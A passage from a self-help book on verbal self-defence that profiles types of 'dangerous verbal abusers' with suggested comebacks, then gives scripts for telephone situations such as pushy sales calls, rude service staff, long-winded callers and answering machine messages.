Even if they have little or no knowledge about a subject, it doesn't matter. They have convinced themselves that
they know anyway. They have a false sense of self-aggrandizement, which they mask by their rigidity,
judgment, and verbal arrogance. The basis for this is usually fear.
This is why they are so adamant that they should be heard and that their point of view is the only point of view.
Usually, they say things that indicate that they are extremely self-righteous or use a holier-than-thou tone. In
reality, it is quite the opposite.

Page 237
They are making such a fuss because they are trying to justify their hypocrisy. They feel guilty about their
misdeeds. They know that deep inside, what they have said is nonsense. They know that they aren't “talking the
talk.” Therefore, they have to scream louder, not only so that they can convince you, but so they can convince
themselves.
As we have seen time after time, especially from our experiences, those who constantly banter about how
things should be, how moral and righteous they are and how bad others are for not accepting their ways of
thinking, often don't practice what they preach! Those who claim self-righteous purity are often not as pure in
thought and deed as they portray themselves. Perhaps they subconsciously believe that the more they
pontificate, the more their verbal demons will disappear, so that what they say will be true after all.
These people should know that they need to get off their pedestal—that others too have valid opinions. Usually
the Calm Questioning Approach isn't as effective as the Direct Approach combined with the Give 'Em Hell and
Yell (if necessary).
When I am talking about giving them hell and yelling, I actually mean talking louder than they do. As they
robotically cite their doctrine, cite yours over theirs. Since they think that they are so anointed, they will
usually be so shocked by your audacity to speak over them that they will stop. When they stop speaking,
continue to speak in a confident, audible, and resonant tone so that they can hear what you are saying to them,
in hopes that at least a few points that you are trying to make will permeate their suit of “superior” armor.
If that doesn't work, depending who they are in your life, you may want to use the Tension Blowout Technique
to blow out your anger toward them. If nothing works, blow them out of your life for good—Unplug them! It is
way too exhausting and debilitating to try to communicate with someone who tunes you out, underestimates
you, and believes their doctrine or point of view is the only one. It is a no-win situation to try to communicate
with someone who has no respect for whatever you say or who says to you “It's my way or the highway.” You
need to retort with “Hit the road, Jack!”
Page 238
Page 239
Chapter 19
Verbal Combat Against Dangerous Verbal Abusers
The information in this chapter can literally save your life! The verbal abusers you'll read about here are scary.
They are the most toxic people, and the ones who have to be most closely watched. Whenever you are around
them, you not only have to look in front of you to know that they are there (which is obvious). You also have to
look to the right, to the left, and in back of you. They can come out of nowhere. You must be on your toes at all
times.
These people can make you the sickest—mentally, emotionally, and even physically. They represent
everything bad. They make you feel absolutely horrible about yourself. They are the ones to cause you so much
grief that your life is always in turmoil. Should you be so unfortunate that you happen to be around them for
any length of time, realize that they can erode your self-confidence to the point where psychologically you feel
lower than a snake's belly.
Proceed With Extreme Caution!
As I discussed earlier in the book, when you ask most people what they would do if they were in the presence
of a severely verbally toxic person, many naively say they would walk away. You can't simply walk away. If
you do so, you will be walking away with hurt and pain. You will still need to cope with the havoc that they
cause or else
Page 240
you will be carrying their verbal wrath for years to come. In this chapter, you first learn specific characteristics
of these dangerous people. Then you will learn the most effective strategies to use with the most severe types to
shield yourself from their verbal poisons. You will learn what to say and how to say it.
You have a number of choices for verbally responding to these dangerous people. In many instances, you will
be given some snappy comebacks from which to choose, if the situation warrants it. No matter which strategy
you use with a particular person, choose carefully. Just trust your instincts—you are almost always right!
Lambs to Lions
These are the most passive-aggressive and the most dangerous of all the verbal abusers because you really
never know where they are coming from. They are meek and delicate sounding, often using high-pitched
voices when they do communicate. But most often, they are non-communicative. They harbor extreme inner
rage and are often jealous—even though they may smile and act as though they are supportive. They are
walking time bombs, because you never know when they are going to blow up at you. They harbor resentment
and swallow perceived hurt feelings, slights, verbal cuts, and injustices they feel are done to themselves or to
others. And then one day, BOOM! A volcano of verbal violence explodes, often complete with yelling, insults,
and blaming. Needless to say, this is not only shocking, it is frightening as well, because you don't know what
they are going to do next.
Always keep abreast of what is going on with them. Constantly check in when they are in conversation with
you. Do this only if you have no choice and must have them in your life due to business- or family-related
matters. Use the Calm Questioning Technique, requiring more than just a yes or no answer.
However, the ideal situation is to run for your life! If you ever experience the wrath of a Lamb to Lion, never
experience it again! It is best to Unplug forever!
Control Freaks
These people have to control others because they are so out-of-control themselves. They are abusive and hostile
and often walk around with a chip on their shoulder, especially if they don't get their way. The other extreme is
that they will lose interest and do nothing if they don't get their way. They are invasive, tenacious, stubborn,
not team players, and have difficulty delegating responsibility. They also have difficulty with authority figures.
They feel that they must orchestrate every move, instead of letting things happen.

Page 241
They force issues and often drive former allies away from them. When things do not go their way, they get
more manipulative and angry, because they are so out of control. They are the type of person who punches
holes in walls when they don't get their way.
Parents who are control freaks can ruin their children's lives, making them spend a lot of time on the
psychiatrist's couch in their adult years.
Humor is often a great antidote because if you didn't laugh, you would surely cry. You may use humor to “call
their bluff.” The following “Talk Back!” section has some good snappy comebacks to use with a Control
Freak. Keep in mind, however, that there is a 50/50 chance that they can become even more violent if you say
these things to them. So if you can give it a try and you are willing to take a chance, go for it!
You may want to Directly Confront them by letting them know that they overstepped their bounds and that
they simply cannot control you in the manner that they are presently exhibiting. You need to let them know in a
calm manner how you prefer to be treated and that you need to be respected. You need to tell them that your
opinions matter and that they cannot speak to you or treat you the way they have been doing.
As I said earlier, Control Freaks often back down after they get a taste of their own medicine. Therefore, the
Mirror Technique may work wonders. However, once again, depending upon who they are in your life and how
instrumental they are to your livelihood (such as a boss), you may have to think twice about using this strategy.
If nothing works, you have no choice but to Unplug, especially if their actions are affecting your health. It may
not be worth the money or the aggravation to you! Your mental and physical state are more important than
anything else in the world!
Backstabbing Enviers
First and foremost, know that “jealousy is the root of all evil.” It causes people to have bad feelings, and to say
and feel bad things towards others. If the jealousy continues, it turns to envy, which is a more severe form of
jealousy. Envy seeks to destroy. It causes one to do extremely harmful things to others—always in a
manipulative manner, behind the person's back.
Like the Lamb to Lion, these people are among the scariest, because they act one way and really are another
way. Usually fawners, they are overly effusive and overly complimentary about you; they have “sugar on their
lips” but “salt in their eyes.”
They are sneaky, clandestine, and incredibly passive-aggressive. They do whatever they can to get ahead. They
don't care whose toes they step on, but they do it gingerly,

Page 242
carefully, and unobtrusively. When you find out that the person who sang your praises to your face was
definitely not singing your praises behind your back, you are often in shock.
So how do you recognize these sneaky plotters? First, watch what they say about others. If they are friendly to
others and then trash them, rest assured that you are next. Secondly, if they are overly effusive with you and
with everyone else, watch out!
A rather effective approach is to use the Direct Confrontation Approach combined with a little humor. This
way, you let them know that you are onto their backstabbing ways; this will often shock them back! The
following “Talk Back!” section lists some examples of what you can say in order to “bust them” so that they
get the message.
Talk Back
Snappy Comebacks for Backstabbing Enviers!
You can start with a common phrase you have heard many times before: “With
friends like you, who needs enemies?”
“Wow! You certainly rolled out the carpet for me one day, and then pulled it out
from under me the next.”
If you caught them in the act and they committed a rather serious crime that really ruined you, your reputation,
or your livelihood don't hesitate to Give 'Em Hell and Yell. That will definitely shock them as they usually
won't expect it! Let your anger out! Go for it! Just remember what I keep drilling into your head throughout
this book. The only way to truly get back at someone is through verbal self-defense. Avoid at any cost using
physical means to express your anger.
Hitting-Below-the-Belt Abusers.
Like the Backstabbing Envier, these people will not hesitate to tell people what you have told them in
confidence. However, unlike the Backstabbing Envier, these dangerous Hitting-below-the-Belt Abusers will
bring up these most intimate confidences right back in your face. What they say will shock you. It will feel as
though a stun gun just shot you or a swarm of bees stung you. All the blood seems to drain from you as you
become numb. Your ears cannot believe what they just said!
You may have told them something that you were embarrassed about, like being a bedwetter as a child, or
something that you were sensitive about, such as your weight,

Page 243
only to hear it back in either direct-aggressive form (especially after a disagreement), or in passive-aggressive
form: “I was only kidding.” No matter what the form, it is definitely “verbal murder,” which I discussed at the
beginning of this book.
Here is where your facial cues can be your best weapon. Look at the person with disgust, narrowing your eyes
and staring them right in the face. Be silent! Say nothing! Here is where silence truly is golden. Do the Tension
Blowout Strategy! Take the breath in, hold it, and then slowly let it out! You will gain control, and the silence
will often make them fumble and bumble. They will feel extremely uncomfortable.
The ideal way of retorting to someone who drops the shocking verbal bomb is to use the Calm Questioning
Technique by asking them questions such as those listed in the following “Talk Back!” section.
Talk Back
Snappy Comebacks for Hitting-below-the-Belt Abusers
“Are you really so low that you would have to resort to throwing back to me
something I told you in my deepest confidence?”
“How do you think it makes me feel when I trusted you with my heart and
soul?”
“Are you willing to win an argument or be right at all cost—even at the risk of
destroying another person?”
“Do you feel better now that you deeply hurt me?”
“That stings”!”
“You won!”
How can a person ever trust another person who betrayed her in such a verbally poisonous way? It is very hard
to do. Even though you both may shake hands and bury the hatchet, the relationship can never be the same.
You can never trust him again! So beware and be aware!
Verbal Interrogators
Like the Control Freak, these interrogators need to be in control!
They try to gain that control and “trip you up” by bombarding you with questions! No matter how stable you
think you are, you usually find yourself thrown off-center. You find yourself answering questions that you
never had any intention of answering!

Page 244
These Verbal Interrogators have a way of getting things out of you by asking such rapid-fire questions. Often,
the questions are so intimate and invasive that they shock you to the point that your guard is down. They do
this to establish their power in their attempts to intimidate you. When you finally accommodate them with
answers, they feel tremendous power over you.
The first thing you have to do is to get yourself back on strong footing. You have to regain control of yourself.
You can only do this by slowing down. Don't allow them to make your head spin! Immediately do the Tension
Blowout strategy. Immediately stop! Take a breath in, and as you breathe out say to yourself “No, I'm not
gonna answer” or “I'm in control” or “No, no, no!”
Now use the Direct approach, smiling all the while. Ignore their loud voice and barrage of questions. Just keep
breathing and keep talking over them! You can combine the Direct Confronting approach with some humor,
but make sure that you take control! Don't get caught up in the frenzy of their tones and verbal bullets. You will
find in the “Talk Back!” section some actual things you can say to the Verbal Interrogator that are designed to
put them back in their place and let them know that you will not fall prey to their verbally bullying tactics.
Talk Back: Snappy Comebacks for Verbal Interrogators
(Smile as you say) “I feel like I'm on the spot here!”
“Let me digest one question at a time before you ask me another.”
“You are going too fast for me.”
“That's way too personal a question for me to answer.”
“I don't feel like answering that.”
“Why do you want to know that?”
“I feel like I am being interrogated.”
Another technique to use is the Mirror Technique. Interrogate them back. Ask them the same questions they
ask you in a rapid-fire motion. Usually, they will get the message!
Fanatics and Zealots
I'm not talking about a Star Wars fanatic or a person obsessed with a certain product or event! I'm talking about
someone who is so obsessed with another person or with a
Page 245
point of view—a belief system—that he is a real danger to others. Any extreme in any group is dangerous,
whether it be religious, political, or social. They are scary because they see only one thing. They have a
Cyclops view of the world: anyone who disagrees is the enemy. Often, the fanatic is out of his or her mind.
They may be mentally or emotionally disturbed, so you must not take them lightly. There is no convincing
them. There is no having a dialogue with them! It is their way or no way! They are very similar to the Control
Freak in this regard.
Since there is usually no way with these people unless you agree with them, you are in a losing battle. If you
are forced to work with them because your livelihood depends upon it, do the Tension Blowouts combined
with the Fantasy strategy. Imagine them tongueless or locked away in a padded cell for life—anywhere, just as
long as it is away from you! If you have a choice in the matter, UNPLUG! Leave! Adios! Goodbye! Sayonara!
Go—and don't look back!
If they continue to verbally harass you, a court system can help put a stop to it via restraining orders. If they
continue to verbally harass you, tape record their calls on your answering machine, since in many states you
may use this for evidence against them. They may be facing jail time if they persist! You may even want a
legal representative to make them aware of this if appropriate.
Yes-Yes Do-Nothings
These passive-aggressive people may seem benign, like they wouldn't hurt you, but often no action is as
horrible as destructive action. Often, just like the Backstabbing Enviers, they may harbor a lot of hidden
resentment or anger towards you. That anger is shown in the form of their saying “yes” to your face but doing
nothing about it!
If this behavior seems to be the norm, trust will be nonexistent. The only thing you can trust about them is that
they will do nothing because they either can't decide what to do, or they just don't want to do it. However, in
both cases, they will lead you to believe that they will do it. Don't be fooled.
The most important thing when dealing with this type of dangerous person is to let them know that you are on
to them! They are so upsetting. They can mess up your plans. They can destroy your emotions. They can
devastate your hopes and dreams.
Page 246
They may have led you on with “yes” after “yes” so that you think that you are going in one direction. You
make plans for that direction, when that wasn't the direction they planned at all. As a result, you are left
“holding the bag”—basically fooled! When they say “yes-yes,” you need to use the Direct Confrontation
Techniques with them. You need to let them know that, based on your past experiences with them, they said
“yes,” you depended on them to do something, but they never carried it out. If it happened on several
occasions, let them know that you find it difficult to trust them.
Now you may want to employ the Calm Questioning Technique by asking them if there is any way you can
help them arrive at a decision. Ask them if you can help them do something to make it easier on them. Get
some specifics from them, some time deadlines! Ask direct questions concerning when they think it will be
done or what will be happening. Then check up and see if it is done as you approach the specified deadline.
This is done so that you can be assured it will be done on time.
Talk Back
Snappy Comebacks for Yes-Yes Do-Nothings
“When will it be done?”
“When can we expect this to be completed?”
“Are you sure this is going to happen?”
“I would really like to know one way or the other.”
“Do you need my help on anything?”
“Perhaps I may be sounding pushy, but I really want to make sure….”
“The uncertainty of the situation is making me feel uncomfortable.”
“Is there anything I can do to make sure it will happen?”
“Does ‘yes’ really mean ‘yes’ or does it mean ‘maybe’ or ‘no?’”
“Does ‘yes’ mean ‘no, I'm not gonna do anything?’”
“I would be more focused and productive if you could give me a definite
answer.”
Page 247
If you don't get an answer one way or another, it is way too frustrating to do business with this person. Even if
you are related to them or they are a friend, it is impossible to be around them, for the simple reason that you
can't depend on them.
If you have tried the snappy comebacks or a direct confrontation with a yes-yesser and they still aren't
following through for you, it might be time to unplug.
The Mentally/Verbally Disturbed
This is the most difficult group. On one level you feel sorry for them, because they can't help it; on the other
hand, if you are around them long enough and don't know how to communicate with them, they will drive you
insane. They should never be underestimated in terms of their intelligence. Mentally or emotionally challenged
individuals are often smarter and more aware than they are given credit for.
The problem with them often lies with the biochemistry in their brain functions. Biological components,
coupled with psychological and environmental dynamics, affect what type of socially unacceptable behavior
may occur. Being around them is extremely draining, and unless they are under medical supervision, life with
them can be a living hell.
They may be suffering from depression ranging from chronic to acute. They may always seem gloomy, which
is very taxing to be around. Like others who suffer from mental and emotional dysfunction, they many need to
be treated medically.
Others may be self-destructive or have alcohol- or drug-related problems. Some may have bipolar disorder
mood swings or something more severe, such that they cannot relate to people at all (such as borderline
personality disorder), or they may be completely out of touch with reality (suffering from a condition such as
schizophrenia).
With all of the individuals who have mental-verbal disturbances, you need to use the Direct Confront
Technique coupled with a lot of Love and Kindness! Because they are usually so emotionally tender, fragile,
and even raw, they need to be handled with the utmost sensitivity, caring, and empathy. It is imperative that
you encourage them and even help them to get into some type of program that can help them.
If the person has drug, alcohol, or gambling problems that require outside help, whether in the form of AA, a
rehabilitation program, a therapist, or a combination of all three, you must use loving and encouraging tones.
Sometimes you may have to employ more of a “tough love” technique with harsher and more severe tones so
that they will hear you. Whatever the case, you need to be direct and loving.

Page 248
The same holds true for those with the other mental or emotional conditions that I just referred to. Kind and
gentle tones with love, combined with direct honesty, help to create a more secure environment, which allows
for effective healing and faster progress. One thing to remember is that people with mental conditions need not
be kept at bay, shunned, ostracized, or treated differently. In this day and age, with all the wonderful
medications available, psychopharmacologists, and psychotherapists, they can live a rich and fulfilling life just
like anyone else. Therefore, if they happen to open up to you about their condition, never hold it against them.
Never scrutinize them for the slightest waiver in their behavior or make them feel guilty or embarrassed just
because they have this life challenge.
Racist, Sexist, Verbal Xenophobes
Truly they are among the most revolting and evil of the dangerous verbal abusers. Their aim is to promote that
they are better than everyone—that everyone else around them is less than they are. They make others feel
badly.
If they take their xenophobic views to the limit, they destroy! If they can destroy with the spoken and written
word, who is to say they can't destroy physically?
There are various reasons why they hate others so much or they have targeted a specific group to hate. First,
they hate themselves, so they project their own self-hatred onto others. Secondly, they are usually envious of
the object of their hate (remember “envy seeks to destroy”). Even if you put a gun to their head and they
vehemently deny it, the fact is that they are indeed envious. They may not even be conscious of the fact that
they are being envious! Maybe deep down they are envious of the group's power, love among one another,
closeness, unique and strong culture, and their perceived ability to get ahead, to have more, get away with a lot,
or be in a more controlling position than they are in.
Page 249
Racism, sexism, and xenophobia should not be tolerated in any shape or form. Direct Confrontation and Direct
Questioning are musts; so is Unplugging. While Giving 'Em Hell and Yelling is probably justified and can
release your anger, it can also get you killed. So if you decide to Hell and Yell it, just know that there is a 50/50
chance you may end up getting hurt or hurting someone physically.
Vicarious Fantasy, Tension Blowouts, and Unplugging work best with this type of person! Sometimes you
have no choice but to be around these miserable creatures. Your best bet is to Unplug anytime you can—leave,
let go, and never look back!
Verbal Lumberjacks.
Verbal Lumberjacks spend a good part of their time cutting others down. They may even be humorous, but
they are not so funny when they are cutting you down. It is degrading and demoralizing. These people are
arrogant, mean, and highly disrespectful. They seem to always find fault with everyone. Nothing is sacred. If
they do give a compliment (a very rare occurrence), it will definitely be back-handed.
The basis for these Verbal Lumberjacks' barbs is their insecurity. They are so full of self-loathing and are so
afraid about what others think about them that they try to beat them to the punch—cut the other person down
first.
Humor is one of the best ways to call the Verbal Lumberjack's bluff. Sometimes they will laugh with you, but
most of the time they won't. They can readily dish it out, but because they are so insecure, they have a hard
time taking it. When you do dish it back to them in the form of the Mirror Technique coupled with humor,
however, they will definitely get the message. It will come as a big surprise if they still continue their cutting
ways in front of you.
The Calm Questioning Technique may also be a good strategy to use. As soon as they make a cutting remark
about another person, don't laugh, chuckle, or in any way indicate that you agree with them. Instead, ask them a
serious question about what they said and keep asking questions to their every negative response until they get
so frustrated and finally get the point you are trying to make. See the example in the “Talk Back!” section that
follows. In essence, you are cross-examining them, and when they see how illogical their words are, they will
usually keep their mouths shut (at least in your presence for the time being)!
Page 250
Talk Back
Verbal Lumberjack (VL): “Look at that fat girl over there!”
You: “Why do you call her fat?”
VL: “Look at her! She looks like a pig!”
You: “Why does it bother you to look at her?”
VL: “Cuz she makes me sick! Women aren't supposed to look like that.”
You: “Don't you look beyond her weight to see if she's good person inside?”
VL: “No! I wouldn't want to know a person who had no self-control. She's
probably a mess!”
You: “So, you find all overweight people looking like pigs and messes?”
VL: “That's about right!”
You: “So, since your mother is overweight and even you have that little tummy,
would you say that you and your mom look like pigs and are messes?”
VL: (MOUTH OPEN, S-I-L-E-N-C-E!!!)
When the Verbal Lumberjack cuts you down, it is either because you have something they want or represent
something that they cannot face. In any event, they feel inadequate around you. Therefore, having this added
knowledge may allow you to be more sensitive towards their plight and perhaps sprinkle them with a little of
the old Love and Kindness Technique.
Nosybodies
These people can destroy your life forever. They can spread rumors about you that can damage your character
and destroy your reputation, and you may never be able to recover from the repercussions. The consequences
of their verbal damage may resonate and travel over great distances over long periods of time, thus potentially
ruining your life forever!
They usually have so little going on in their own lives that they have to get involved in other people's lives to
stir up some action. This enables them to entertain themselves at the other person's expense!
First of all, let them know that you are onto them and that you won't take their butting in anymore. Directly
Confronting them is your best move. You can also Calmly Question them using a combination of these two
tactics along with humor.
Sometimes they will not hear you, so you have to Give 'Em Hell and Yell. You have to talk very loud so they
Page 251
finally get it! Just let it go! They will think twice about bringing your name up again. If they do, at least they
will take extra precautions to make sure that the dirt doesn't get back to you!
You cannot Unplug without letting them know that they are jerks for what they did and for what they said
about you! Only after you let them know that you're onto their little game can you feel free to Unplug from
them!
Page 253
PART 6
DODGING VERBAL BULLETS IN SPECIFIC BATTLEFIELDS
Now you know how to identify your verbal enemy, arm yourself verbally, and use all the possible strategies
with which to defend yourself. You understand which tactics to use against specific people you may confront
throughout your life, and the specific verbal defense tactics to implement against different types of verbal
vermin.
In this part of the book you learn how to verbally handle yourself in any situation that may come your way. You
will learn what to say in any situation, from the most benign to the hairiest.
After reading this part, you will never again be at a loss for words! No situation will ever leave you with your
tongue hanging out of your mouth or your brain spinning. You will never be mute, whether on the phone, in a
business meeting, or in the bedroom.
You will know exactly what to say, whether you are breaking bad news or receiving it. You will learn how the
words you use in specific situations can actually save your life. Finally, you will learn what to say in the most
important situations in your life—when you are talking about YOU!
Page 255
Chapter 20
Verbal Defense over the Telephone
The telephone can be your best friend. It can be a great source of pleasure as it helps you accomplish things
like making money, enhancing business contacts, exploring career opportunities, purchasing things you need,
and connecting with friends, family, and loved ones.
But there are times when the telephone can be your worst enemy. It can be a source of tension and
unhappiness!
In this chapter you learn exactly what to say in just about any situation you will face over the telephone. Some
of the scenarios you'll read about will ring close to home. You, along with just about everyone else who has a
telephone, have experienced these things at one time or another.
The unique aspect of this chapter is that not only do I discuss the specific telephone scenario with which you
can identify and then share with you all of your viable verbal defense options, but I tell you exactly what to say.
Nine times out of ten it will work for you, so go for it!
Page 256
Pesky Persistent Telephone Sales Calls.
You're home from a long day's work at the office. You throw off your shoes, plop down on the sofa, and smile
with relief. All of a sudden, the phone rings. Since you're not expecting any phone calls you wonder who it
could be: your mom, your best friend, your girlfriends, your guy friends! In any event, you still have a smile on
your face as you say “hello” in your bouncy, upbeat tone. Suddenly your smile turns upside down. It is a
salesperson, and she won't stop talking! She is reciting her obviously rehearsed pitch for you to change to her
telephone service. You try to get a word in edgewise to tell her you're not interested, but you can't! She just
keeps talking and talking and talking and talking!
Before I tell you what to say to pesky sales people, I need to point out that not all salespeople are pesky.
Telephone solicitation is not necessarily a bad thing. In fact, it may be a wonderful thing! It may be a
wonderful way of doing business! It is wonderful to have someone call you up and tell you about a product or a
seminar that you were thinking about or that you thought sounded interesting after hearing their pitch. There is
nothing more wonderful than to have purchased or to have signed up for a product that positively enhanced
your life in some way.
I am not talking about the polite salesperson who is kind and thoughtful! I am talking about the person who
calls at inopportune times, who won't take “no” for an answer as he tries to browbeat or shame you into a sale.
So what are you supposed to do when the salesperson won't stop talking? Your first step is to interrupt them in
a LOUDER voice than they are using. Say the following: “I am NOT interested now. I will NOT be interested
later. So PLEASE NEVER CALL AGAIN!” Since they might call again (days, weeks, or months later), before
you hang up, ask where the main office or headquarters of their company is based. Ask for the phone number.
Ask for his supervisor. Try to get as much information as possible out of her. In order to do this, you must
sound kind, pleasant, cooperative, and polite. If she is reading from a rehearsed script, tell her that before she
sells you something, you need to know this information.
Chances are, she won't know it. Therefore, you will need to speak to her supervisor or to the supervisor's
supervisor. No matter how you obtain it, get the information! Call the company's headquarters and get taken off
their phone list. If they persist threaten them legally. Then hang up on them!
Page 257
Slick Willy
Has anyone ever tried to sell you something over the telephone you didn't want to buy but did anyway? Maybe
they intimidated you into giving money to charity or to a religious cause—perhaps even a great cause.
The person on the other end of the phone was such a great talker. Maybe it was his slickness or bravado. His
voice sounded so rich and resonant, words flowing, full of enthusiasm, and confidence. How could you even
dream of saying no? Before you knew it, you had pulled out your Visa and recited the expiration date on your
card.
Before you start to max out your credit cards, STOP! BREATHE IN! LISTEN! Next, STOP! BREATHE IN!
ASK! Ask questions. Ask about the product, the charity, the event. As soon as you have acquired enough
information, tell the slick-voiced soul that you will be right back. LEAVE FOR A MOMENT! DON'T GET
CAUGHT UP IN THE MOMENTUM! Get a drink of water, walk to the door, then walk back to the phone. Do
anything. Just don't get sucked into a trance by his hypnotic, slick, all-knowing tones.
Tell him you'll call him or that you'd like to think about it. If he persists and tries to intimidate, pressure, or
shame you, say the following: “Listen, I heard everything you said. You sound like you really know what you
are talking about. I respect you for that. Now you have to respect me and give me some time to think about it
and to let ME call YOU if I choose to get involved in this (charity, purchase, whatever).
Here is where you may start to see his true colors. The once-polite, slick-voiced, credible-sounding person may
turn into a verbal monster with a mean staccato or harsh voice that sounds as though he is annoyed with you
because you wasted his time. If you hear this voice, tell him you are through talking and need to hang up now.
Then hang up the receiver.
Unhelpful Helpers
Have you ever made a telephone call to someone to either obtain information or get proper service (discussed
earlier in Chapter 16) who was doing neither? Did she have a snippy tone and a snotty attitude, as though she
was doing you a huge favor just
Page 258
talking to you? Did the person frustrate you so much that you wanted to crawl through the telephone lines and
choke her? Guess what? I can guarantee you that practically everyone else has felt the same way you have!
Be direct. Say “Please help me! Please, I really need help!” If she says, in her snippy, obnoxious little tone, “I
m trying to help you!” say, “Well, I don't feel helped. I feel hindered.” (Then go off on her as you continue to
spew forth how upset you are.) “ … I feel upset, I feel terrible, I feel frustrated. I feel like I am lost and that
there is no way out! Help me! Please help me!” (This is even more effective if it is done in a crying or whining
tone, as annoying as that may seem it seems to elicit more sympathy.)
This type of talk usually causes people to try their best to help you. They will try to hurry up and accommodate
you just to get you off the phone. They may even get so weirded out by you that they may call their supervisor
into the picture to help, which is what you wanted all along. Now at least someone with less of an attitude can
perhaps solve your disaster.
Speaking of attitude, if someone over the phone has a bad attitude and is short or fresh or abrupt with you, you
can bet that most likely it has nothing to do with you! Why would it? They don't know you. They can't even see
you! Maybe they got into a fight with a boyfriend or wife. Maybe their tummy hurts. Maybe they spent their
entire life savings on lottery tickets and lost! Who knows why? But just to make sure it isn't you, check in.
Check in nice and friendly. As soon as they give you attitude about it, say “sounds like you're having…”: a)
“bad day,” b) “a long day,” c) “a stressful day,” d) “a hard day,” or say e) “a lot of these hassles are like mine
today.” Take your pick.
Another way to get results is to consistently maintain a sweet, polite, kind attitude with a pleasant tone.
Usually, good outweighs evil, so you will see some positive changes in them after a short while. They usually
do come around if you can stay strong enough and stay on your verbally positive course long enough.
Go Ahead—Blame It on the Phone!
The phone can be your best scapegoat in allowing obnoxious sounding people, like the annoying verbal abusers
we discussed in Chapter 17, off the hook. It enables them to save face, while at the same time allowing you to
get your point across so that you won't have to listen to their grating sounds: sounds as annoying as fingers
raking across a chalkboard.
Page 259
Oh No! I Need Some New Eardrums!
You feel as though you are in desperate need of an eardrum transplant after a loud talker blew your eardrums
out with his booming voice on the other end of the phone line. What do you do? You blame it on the phone!
Had you known to do this before, you wouldn't have needed that eardrum transplant after all! The second your
head jolted away from the phone receiver you should have blurted out, “Your voice seems to be coming across
so loudly on this end of the receiver. It's probably the phone! Perhaps if you speak really softly I can hear you
better.” Whenever they speak in their loud tone, just keep blaming it on the phone until they speak softer. What
you are in essence doing is conditioning them to speak to you in a softer voice.
See, you have been a diplomat! You have gotten what you wanted (healthy eardrums) and allowed them to save
face at the same time. You have blamed their obnoxious tones on the poor technology of your telephone.
Huh? Huh? Huh? Huh?
What happens if the person talks too softly? Once again, blame it on the telephone. Tell them that your
telephone is very sensitive (it's not a lie—all telephones are sensitive and require that the person speak directly
into the mouthpiece). And voilà—you can finally hear the person. It's magic!
What in the World Did They Say?
You can't understand the person because she mumbles or speaks too fast. Whose fault is it that you don't
understand them? Why, it's the telephone's, of course! Tell the problem talker that you don't want to keep
asking to have things repeated and that your phone may not be able to pick up everything they say. This, too, is
not a lie. Since they mush up their words or talk a mile a minute, how can you, on the other end of your phone,
pick up what they are saying? When you tell them to speak extra slowly because you don't want to miss a word
they say, their speech often slows down dramatically.
Help! I'm Gonna Drown in a Sea of Words!
What about those who are too wordy or who speak too slowly? When you notice them getting a bit too
verbose, long-winded, or taking up too much verbal time, tell them that your phone lines can disconnect, so it's
very important to get to the point a little faster than they normally would.
Page 260
Once again, this is not a lie. Phones lines have been known to cut off, especially during a power outage, power
surges, snow, hail, rain, or thunderstorms, earthquakes, tornadoes, heat waves, floods, fires, lightning, and
other natural disasters. You never know when one of these disasters will actually hit and possibly cut off your
connection.
They could be engaging in one of their long-winded tales and then where would you be? Unable to have heard
their entire story, because your phone cut out. Who's to say that this wouldn't happen when you are talking to
them?
By making them aware of the possibility of the phone line being cut off, you have accomplished your goal—to
make them get to the point and not bore you to death! By the way, you don't have to go through all the
preceding reasons as to the different possible reasons why the phone lines could be cut off.
I Gotta Go, I Gotta Go, I Gotta Go, I Gotta Go!
Before you get all bent out of shape at the poor person who won't get off the phone—the one who doesn't seem
to ever want to hang up the receiver when they talk to you—you need to consider two things.
First of all, they might be suffering from a psychological issue known as “separation anxiety.” This usually
stems from a problem in early childhood, which may deal with early abandonment issues. Obviously this is not
your problem and you don't have the time or the energy or the training to deal with this. The second reason is
that they like you. They really like you! They like you so much that they don't want the moment to end. They
don't like being away from you!
Why have I told you this? Because just knowing this often gives you a new insight so you have a little more
compassion and may give them a little more “phone time” than you normally would.
What do you say to the person who won't get off the phone? You have told them a million times that you have
to go and they turn a deaf ear to the phone line. Once again, you can blame it on the phone. This option is the
same one you used with the person who talks too much. Say that your phone can cut off.
When you know that Mr. or Ms. Chatterbox has called, don't be rude to them. You just never know when they
may be revealing something of major importance or value to you. You need to greet them in a cheery and
upbeat tone and hear them out for a few moments. But set a time limit—let's say three minutes. When those
three minutes are over, politely edge in the sentence “I'd love to spend more time talking, but I have to get
ready to leave.”
If you can't spit this phrase out because they are so consumed by what they are saying as they talk over you,

Page 261
keep repeating their name over and over in a calm tone. They will definitely get it. If you tell them enough
times that you can speak to them only for a moment and really stick to your word, you will be conditioning
them. They will eventually understand that when they call you, it's gonna be short and sweet.
I Got Your Machine! You Sound Silly!
Please, please, please! (I am really pleading with you—my hands are clasped together and there is a serious
look on my face. My brows are furrowed and I look disgusted!) I, along with everyone else who has called
your machine, has cringed when we listened to your answering machine message.
The joke on your machine you think is so funny? Well, guess what? It isn't. It's silly and makes you look
ridiculous!
That song you think is so hip because you love the lyric? Well, guess what? Not everyone likes rap music
forced down their ears, and surprise—nobody can even hear the lyrics!
I know that your happy little Johnny has finally learned to put some sentences together and how cute you think
he sounds. But guess what? Nobody else thinks he sounds cute! They cringe at the sound of his high-pitched,
drooly-wet, sing-song tone that nobody but you can understand. When we hear you coaching him to say
“Goodbye, talk to you later,” we are convinced that you should drag him to the nearest speech therapist as soon
as possible!
Phone machines are not designed to reflect your personality or unique talents. We don't care that you can sing
opera, play the flute or guitar, or do impersonations of famous people (most of whom are dead). We don't care
about the bells or the whistles! All we care about is that you got the message that we called and that you will
return our call when you hear our message. That's it! NO MORE! NO LESS!
Time to Change the Message.
You have to get this message across to the other person. Granted, this is not the easiest task to do, especially if
someone has spent a lot of time perfecting their lousy, ridiculously embarrassing piece of laughable garbage
they call a phone message.
Depending on the type of person they are, you may want to start with the humor approach. Try to make a joke
out of it. Say something to them connected to their

Page 262
particular sick sense of humor that would make them chuckle. You are in the right arena when you try and
match the humor that is similar to that on their phone machine. This often gives you a common bond and
allows you entry into the door of the “verbally uncomfortable.” Then you might want to say something like,
“You know, you and I find this funny, but a lot of people out there don't share our great sense of humor. In fact
most of them don't even have a sense of humor.” The ignorant message producer will usually smile and agree
with you.
Making a Great Message
Remember the old Saying KISS (“Keep it simple, stupid”)? Well, do it! The two messages I'm about to give
you are the only messages you need to use. They are simple and get the point across. You can expand on them
by asking for the times and other necessary information but remember to keep it simple.
The first sample phone message is fairly personal. The second is less personal and more to the point. Choose
whichever is more appropriate for you.
Hello, _____(I, we, name[s]) am (are) not available to take your call at the moment, but if you leave your
